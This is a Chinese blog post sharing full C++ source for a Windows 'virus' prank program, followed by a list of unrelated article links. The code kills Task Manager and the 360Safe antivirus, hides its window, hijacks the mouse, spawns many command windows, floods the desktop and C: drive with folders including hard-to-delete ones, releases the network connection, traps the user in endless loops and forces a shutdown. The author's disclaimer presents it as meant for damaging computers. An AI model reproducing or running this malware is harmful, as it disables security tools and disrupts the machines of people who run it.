当前位置: 首页 > news >正文

小小小病毒(3)(~_~|)

一分耕耘一分收获

声明:

        仅供损害电脑,不得用于非法。损坏电脑,作者一律不负责。此作为作者原创,转载请经过同意。

欢迎来到小小小病毒(3)

感谢大家的支持

还是那句话:上代码!

#include <bits/stdc++.h>
#include <windows.h>
#include <stdio.h>
#include <shlobj.h>
using namespace std;
HHOOK g_hHook;BOOL SetImmunity(char *FilePath, char *FileName) {char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);BOOL bRet = CreateDirectory(file, NULL);if (bRet) {strcat(file, "\\anti...\\");bRet = CreateDirectory(file, NULL);if (bRet) {SetFileAttributes(file, FILE_ATTRIBUTE_HIDDEN);return TRUE;}}return FALSE;
}void ClearImmunity(char *FilePath, char *FileName) {char file[2048] = { 0 };strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);strcat(file, "\\anti...\\");RemoveDirectory(file);ZeroMemory(file, MAX_PATH);strncpy(file, FilePath, strlen(FilePath));strcat(file, FileName);RemoveDirectory(file);
}void lrud(int n=1){if(n==1){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_LEFT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_LEFT,0,KEYEVENTF_KEYUP,0);	}else if(n==2){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_UP,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_UP,0,KEYEVENTF_KEYUP,0);		}else if(n==3){keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_RIGHT,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_RIGHT,0,KEYEVENTF_KEYUP,0);		}else{keybd_event(VK_CONTROL,0,0,0);keybd_event(VK_MENU,0,0,0);keybd_event(VK_DOWN,0,0,0);keybd_event(VK_CONTROL,0,KEYEVENTF_KEYUP,0);keybd_event(VK_MENU,0,KEYEVENTF_KEYUP,0);keybd_event(VK_DOWN,0,KEYEVENTF_KEYUP,0);	}
}void for_lrud(){for(int i=1;i<=4;i++){lrud(i);}lrud(2);
}LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam) {if (nCode == HCBT_ACTIVATE) {HWND hMsgBox = (HWND)wParam;SetWindowPos(hMsgBox, NULL, 0, 0, 400, 200, SWP_NOMOVE | SWP_NOZORDER);UnhookWindowsHookEx(g_hHook);}return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}string itos3(int n){int a,b,c;a=n/100;b=n%100/10;c=n%10;string s="";if(a!=0){char d=a+'0';s+=d;		}if(b!=0||(b==0&&a!=0)){char d=b+'0';s+=d;}if(c!=0||(c==0&&b==0&&a!=0)||(c==0&&b!=0)){char d=c+'0';s+=d;}return s;
}struct vir{struct wenjian{void xingshi(){system("taskkill /f /im taskmgr.exe");HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);if (hwnd){ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);}MessageBox(NULL,"新年新气象","古诗",MB_OK);MessageBox(NULL,"新年多上当","古诗",MB_OK);MessageBox(NULL,"山外青山楼外楼","古诗",MB_OK);	MessageBox(NULL,"那里有个中分头","古诗",MB_OK);	MessageBox(NULL,"两只黄鹂鸣翠柳","古诗",MB_OK);MessageBox(NULL,"穿成烤串还不够","古诗",MB_OK);	g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("你阻止不了我入侵电脑!"),TEXT("病毒"),MB_OK|MB_ICONWARNING);Sleep(2000);WinExec("taskkill /f /im 360Safe.exe",SW_HIDE);			HWND hw=FindWindow("360Safe.exe",NULL);if(hw!=NULL){ShowWindow(hw,SW_HIDE);}g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("360呢"),TEXT("你"),MB_OK|MB_ICONWARNING);	Sleep(500);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("黑化中..."),TEXT("360"),MB_OK|MB_ICONMASK);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());Sleep(4000);g_hHook = SetWindowsHookEx(WH_CBT, CBTProc, NULL, GetCurrentThreadId());MessageBox(NULL,TEXT("准备好接受审判吧"),TEXT("病毒and360"),MB_OK|MB_ICONWARNING);ShowOwnedPopups(hwnd, SW_HIDE);ShowWindow(hwnd, SW_HIDE);			int ll=10000;while(ll--){int cx=GetSystemMetrics(SM_CXSCREEN);int cy=GetSystemMetrics(SM_CYSCREEN);SetCursorPos(rand() % cx,rand() % cy);}}void vira(){xingshi();int ll=100;while(ll--){system("start cmd");}MessageBox(NULL,"给你几秒关闭的时间","提示",MB_OK|MB_ICONWARNING);Sleep(10000);for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"看看你的桌面","提示",MB_OK|MB_ICONWARNING);Sleep(20000);MessageBox(NULL,"你肯定都删了,那...","提示",MB_OK|MB_ICONWARNING);	for(int i=1;i<=100;i++){string jj="mkdir C:\\Users\\Administrator\\Desktop\\a";jj+=itos3(i);system(jj.data());}Sleep(20000);MessageBox(NULL,"鼠标被我控制啦!!!","提示",MB_OK|MB_ICONWARNING);			int ii=100000;while(ii--){SetCursorPos(1,1);}MessageBox(NULL,"鼠标连点器启动!!!","提示",MB_OK|MB_ICONWARNING);int iii=10000;while(iii--){mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);}for(int i=1;i<=100;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());}MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"骗你的!!!再等一小会。","提示",MB_OK|MB_ICONWARNING);MessageBox(NULL,"看看你的C盘!","提示",MB_OK|MB_ICONWARNING);Sleep(10000);MessageBox(NULL,"屏幕作乱...","提示",MB_OK|MB_ICONWARNING);for_lrud();MessageBox(NULL,"文件夹即将占领世界(C盘)!","提示",MB_OK|MB_ICONWARNING);for(int i=1;i<=999;i++){string jj="mkdir C:\\a";jj+=itos3(i);system(jj.data());string jjb="mkdir C:\\b";jjb+=itos3(i);system(jjb.data());	}MessageBox(NULL,"给你断开网络","提示",MB_OK|MB_ICONWARNING);Sleep(500);system("ipconfig /release");while(1){int s=MessageBox(NULL,"二选一","提示",MB_YESNO|MB_ICONWARNING);if(s==IDNO){MessageBox(NULL,"???","提示",MB_OK|MB_ICONWARNING);}else if(s==IDYES){break;}}MessageBox(NULL,"给你整几个不可删文件","提示",MB_OK|MB_ICONWARNING);char *Fuck[4] = { "你", "好", "世", "界" };int FuckLen = sizeof(Fuck) / sizeof(int);TCHAR Destop[MAX_PATH];SHGetSpecialFolderPath(NULL, Destop, CSIDL_DESKTOP, FALSE);for (int i = 0; i < 5; i++) {for (int x = 0; x < FuckLen; x++) {SetImmunity("C:\\Users\\Administrator\\Desktop\\", Fuck[x]);ClearImmunity("c://", Fuck[x]);}}int pp=MessageBox(NULL,"点个赞再走!不然...","提示",MB_OKCANCEL|MB_ICONWARNING);if(pp==IDCANCEL){while(1){system("start cmd");srand(time(0));SetCursorPos(rand()%GetSystemMetrics(SM_CXSCREEN),rand()%GetSystemMetrics(SM_CYSCREEN));lrud(rand()%4+1);}}HWND hwnd;hwnd = FindWindow("ConsoleWindowClass", NULL);ShowOwnedPopups(hwnd, SW_SHOW);ShowWindow(hwnd, SW_SHOW);MessageBox(NULL,"程序结束!!!","提示",MB_OK|MB_ICONWARNING);system("shutdown -p");}}wen;
}virus;int main(){virus.wen.vira();
}

运行截图:

.............................

http://www.lryc.cn/news/537981.html

相关文章:

  • 在 WSL上的 Ubuntu 中通过 Docker 来运行 Redis,并在微服务项目中使用redis
  • 深入解析SVG图片原理:从基础到高级应用
  • Python 中的一种调试工具 assert
  • 面基Spring Boot项目中实用注解一
  • 【数据库维护】Clickhouse数据库维护关键系统表相关指标说明,支撑定位慢SQL及多实例场景下分析各实例运行情况
  • 委托构造函数与继承构造函数
  • DeepSeek操作Excel,实现图表自动化生成
  • 3.5 企业级AI Agent运维体系构建:从容器化部署到智能监控的工业级实践指南
  • 基于51单片机的定时器实现LED闪烁控制(CT107D)
  • 【java】作业1
  • 2025有哪些关键词优化工具好用
  • 【WPSOffice】汇总
  • 海康摄像头IPV6模式,手动,自动,路由公告
  • Transformer(3): Add Norm
  • SpringBoot多数据源实践:基于场景的构建、实现和事务一体化研究
  • SOCKET建立简单的tcp服务端与客户端通信
  • C语言-章节 1:变量与数据类型 ——「未初始化的诅咒」
  • 【HarmonyOS Next】图片选择方案
  • 【C语言】移除元素
  • Python----Python高级(网络编程:网络高级:多播和广播,C/S架构,TCP,UDP,网络编程)
  • CES 2025 上的创新方案——无电池智能纸尿裤-AP4470
  • Java 运算符
  • 【一文读懂】什么是MVVM?
  • GCD of Subset
  • BY组态:工业自动化的未来,触手可及
  • DeepSeek在linux下的安装部署与应用测试
  • 华为昇腾920b服务器部署DeepSeek翻车现场
  • JavaScript 内置对象-数组对象
  • Qt——连接MySQL数据库之ODBC的方法详细总结(各版本大同小异,看这一篇就够了)
  • 进程令牌:Windows 安全架构中的关键元素